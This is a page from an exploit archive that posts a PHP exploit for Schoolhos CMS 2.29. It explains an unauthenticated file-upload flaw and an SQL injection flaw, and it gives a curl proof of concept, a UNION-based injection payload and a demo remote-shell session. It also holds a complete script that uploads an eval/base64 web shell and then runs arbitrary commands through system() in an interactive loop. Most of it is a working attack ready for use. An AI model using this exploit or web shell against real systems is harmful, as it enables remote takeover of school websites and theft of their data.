Twenty Year Anniversary

Schoolhos CMS 2.29 Remote Code Execution / SQL Injection

Schoolhos CMS 2.29 Remote Code Execution / SQL Injection
Posted Nov 14, 2016
Authored by Ahmed Sultan

Schoolhos CMS version 2.29 suffers from code execution and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, code execution, sql injection
MD5 | 1fb5824664ecd234a55e036569c0a0c6

Schoolhos CMS 2.29 Remote Code Execution / SQL Injection

Change Mirror Download
<?php
/*
Software : Schoolhos CMS 2.29
Home : http://www.schoolhos.com/
Author : Ahmed sultan (0x4148)
Email : 0x4148@gmail.com
Home : 0x4148.com

Intro
Schoolhos CMS is alternative to developing School Website. It's Free and Open Source under GPL License. Easy to install, user friendly and elegant design.

Schoolhos is vulnerable to unauthenticated remote code execution vulnerability , Unauthenticated sql injection flaws

I - Remote code execution
File : process.php
Line : 42
elseif ($pilih=='guru' AND $untukdi=='upload'){
$lokasi_file = $_FILES['fupload']['tmp_name'];
$nama_file = $_FILES['fupload']['name'];
UploadMateri($nama_file);

File : file_uplaod.php
Line : 9
function UploadMateri($fupload_name){
//direktori file dari halaman e-elarning
$vdir_upload = "../file/materi/";
$vfile_upload = $vdir_upload . $fupload_name;

move_uploaded_file($_FILES["fupload"]["tmp_name"], $vfile_upload);
}

POC
curl -i -s -k -X 'POST' \
-H 'Content-Type: multipart/form-data; boundary=---------------------------26518470919255' \
--data-binary $'-----------------------------26518470919255\x0d\x0aContent-Disposition: form-data; name=\"fupload\"; filename=\"0x4148.php\"\x0d\x0aContent-Type: application/x-httpd-php\x0d\x0a\x0d\x0a<?php die(\"0x4148 rule\"); ?>\x0d\x0a-----------------------------26518470919255\x0d\x0a\x0d\x0a' \
'http://HOST/PATH/elearningku/proses.php?pilih=guru&untukdi=upload'

php file can be ccessed via : http://HOST/PATH/file/materi/0x4148.php

II - Unauthenticated sql injection

File : elearningku/download.php
Line 6
$file=mysql_query("SELECT * FROM sh_materi WHERE id_materi='$_GET[id]'");
$r=mysql_fetch_array($file);
$filename=$r[file_materi];

header("Content-Type: octet/stream");
header("Pragma: private");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false);
header("Content-Type: $ctype");
header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($dir.$filename));
readfile("$dir$filename");

POC : versi_2.29/elearningku/download.php?id=-1' union select 1,version(),3,4,5,6,7,8-- -
DB version will be showed as filename

Script is really full of injection flaws , mentioning all of it is such waste of time

Full exploitation Demo
~0x4148fo# php scho.php http://192.168.0.50/lab/scho/versi_2.29/
[*] Schoolhos CMS 2.29 Remote command execution
[*] Author : Ahmed sultan (0x4148)
[*] Connect : 0x4148.com | 0x4148@gmail.com

+ Sending payload to http://192.168.0.50/lab/scho/versi_2.29/
+ Payload sent successfully

0x4148@http://192.168.0.50/lab/scho/versi_2.29/# dir
Volume in drive C is OS_Install
Volume Serial Number is D60F-0795

Directory of C:\xampp\htdocs\lab\scho\versi_2.29\file\materi

11/13/2016 02:03 AM <DIR> .
11/13/2016 02:03 AM <DIR> ..
11/13/2016 02:03 AM 47 0x4148.php
11/30/2011 06:56 PM 8,522 aku.php
11/29/2011 02:02 AM 74 Alar Reproduksi.rar
11/29/2011 02:03 AM 74 albert.rar
11/29/2011 08:25 PM 12,326 ari.png
11/29/2011 08:27 PM 12,318 ari.rar
11/29/2011 06:57 PM 74 cerita.rar
11/29/2011 08:24 PM 0 contoh.txt
11/29/2011 02:05 AM 74 dos.rar
11/29/2011 02:01 AM 74 English1.rar
12/12/2011 11:13 AM 117 index.html
11/29/2011 02:10 AM 74 kekebalantubuh.rar
11/29/2011 02:11 AM 74 masa jenis.rar
11/29/2011 02:14 AM 74 office.rar
11/29/2011 02:06 AM 74 paragraf.rar
11/29/2011 02:04 AM 74 pemanasan.rar
11/29/2011 02:00 AM 74 polakalimat.rar
11/29/2011 02:15 AM 74 prepare.rar
11/29/2011 02:13 AM 74 proklamator.rar
11/29/2011 02:12 AM 74 sea games.rar
11/29/2011 02:05 AM 74 soekarno.rar
11/29/2011 02:09 AM 74 speaking.rar
11/29/2011 02:15 AM 74 ulangan INDO.rar
11/29/2011 02:11 AM 74 volume.rar
24 File(s) 34,662 bytes
2 Dir(s) 38,197,485,568 bytes free

0x4148@http://192.168.0.50/lab/scho/versi_2.29/# exit

~0x4148fo#

*/
$host=$argv[1];
$target="$host/elearningku/proses.php?pilih=guru&untukdi=upload";
echo "[*] Schoolhos CMS 2.29 Remote command execution\n";
echo "[*] Author : Ahmed sultan (0x4148)\n";
echo "[*] Connect : 0x4148.com | 0x4148@gmail.com\n\n";
echo " + Sending payload to $host\n";
fwrite(fopen("0x4148.php","w+"),'<?php eval(base64_decode($_POST["0x4148"])); ?>');
$x4148upload = curl_init();
curl_setopt($x4148upload, CURLOPT_URL, $target);
curl_setopt($x4148upload, CURLOPT_USERAGENT, "mozilla");
curl_setopt($x4148upload, CURLOPT_POST, 1);
curl_setopt($x4148upload, CURLOPT_RETURNTRANSFER, true);
curl_setopt($x4148upload, CURLOPT_POSTFIELDS,array("fupload"=>"@".realpath("0x4148.php")));
curl_setopt($x4148upload, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($x4148upload, CURLOPT_SSL_VERIFYHOST, 0);
$result = curl_exec($x4148upload);
curl_close($x4148upload);
$x4148request=curl_init();
curl_setopt($x4148request,CURLOPT_RETURNTRANSFER,1);
curl_setopt($x4148request,CURLOPT_URL,$host."/file/materi/0x4148.php");
curl_setopt($x4148request, CURLOPT_POSTFIELDS,"0x4148=".base64_encode("echo '0x4148fo';"));
curl_setopt($x4148request, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($x4148request, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($x4148request,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($x4148request,CURLOPT_TIMEOUT,20);
curl_setopt($x4148request, CURLOPT_HEADER, true);
$outp=curl_exec($x4148request);
curl_close($x4148request);
if(!preg_match("#0x4148fo#",$outp)){
echo " - Failed :(\n";
die();
}
echo " + Payload sent successfully\n\n";
while(0<1){
echo "0x4148@$host# ";
$command=trim(fgets(STDIN));
if($command=='exit'){
die();
}
$x4148request=curl_init();
curl_setopt($x4148request,CURLOPT_RETURNTRANSFER,1);
curl_setopt($x4148request,CURLOPT_URL,$host."/file/materi/0x4148.php");
curl_setopt($x4148request, CURLOPT_POSTFIELDS,"0x4148=".urlencode(base64_encode("echo '>>>>>';system('$command');echo '>>>>>';")));
curl_setopt($x4148request, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($x4148request, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($x4148request,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($x4148request,CURLOPT_TIMEOUT,20);
curl_setopt($x4148request, CURLOPT_HEADER, true);
$outp=curl_exec($x4148request);
curl_close($x4148request);
echo explode(">>>>>",$outp)[1]."\n";
}
?>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

July 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    1 Files
  • 2
    Jul 2nd
    26 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    11 Files
  • 5
    Jul 5th
    13 Files
  • 6
    Jul 6th
    4 Files
  • 7
    Jul 7th
    4 Files
  • 8
    Jul 8th
    1 Files
  • 9
    Jul 9th
    16 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    32 Files
  • 12
    Jul 12th
    22 Files
  • 13
    Jul 13th
    15 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    1 Files
  • 16
    Jul 16th
    21 Files
  • 17
    Jul 17th
    15 Files
  • 18
    Jul 18th
    15 Files
  • 19
    Jul 19th
    3 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close